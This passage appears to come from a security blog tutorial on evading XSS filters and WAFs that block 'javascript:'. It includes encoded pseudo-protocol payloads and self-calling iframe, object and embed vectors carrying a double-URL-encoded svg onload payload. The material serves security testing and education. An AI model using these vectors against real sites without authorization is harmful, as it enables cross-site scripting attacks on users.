Alternative to Javascript Pseudo-Protocol

Browsers accept “javascript:” in their address bar as a way to execute javascript code, which makes it a pseudo-protocol instead of a real one like “http:”, for example. It can be used in the same way as an URL when calling an external resource. Example:

Contrary to Data URI scheme (“data:”), the javascript one executes in same context of the actual page, being very useful in open redirect vulnerabilities and in some XSS vectors. But it’s as useful as easy to be detected and blocked by a filter or WAF.

In fact, we can use mixed case and encode it with HTML entities (see an easy-to-use list here) like:

Javascript:alert(1)

(URL-encoded form)
Javas%26%2399;ript:alert(1)

But it’s still easy to flag.

Here is another way to pass a filter that is blocking “javascript:”. Let’s consider we have the following XSS vector:

<iframe src=javascript:alert(1)>

In a generic URL like this:

http(s)://host/page?p=XSS

Where “host” is an IP address or domain, “page” is the vulnerable page and “p” is the vulnerable parameter.

In order to bypass filtering of all forms of “javascript:” we call the same vulnerable URL again with another vector (<svg onload>), this time double URL encoded:

http(s)://host/page?p=<iframe src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

Tweet This

This also respects “X-Frame-Options: SAMEORIGIN” HTTP security header, because it calls itself. Notice that we double encoded key points of the second vector, to avoid regex for event handlers based in “on” plus something and equal sign.

A live example is here (open it in Firefox).

Other XSS vectors that work with “javascript:” also work with this self-calling method. Good examples are:

<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

See this cheat sheet for more vectors.

There’s also a variation using HTML entities, which although we are considering them being blocked by filter/WAF, can be used in a slightly different way: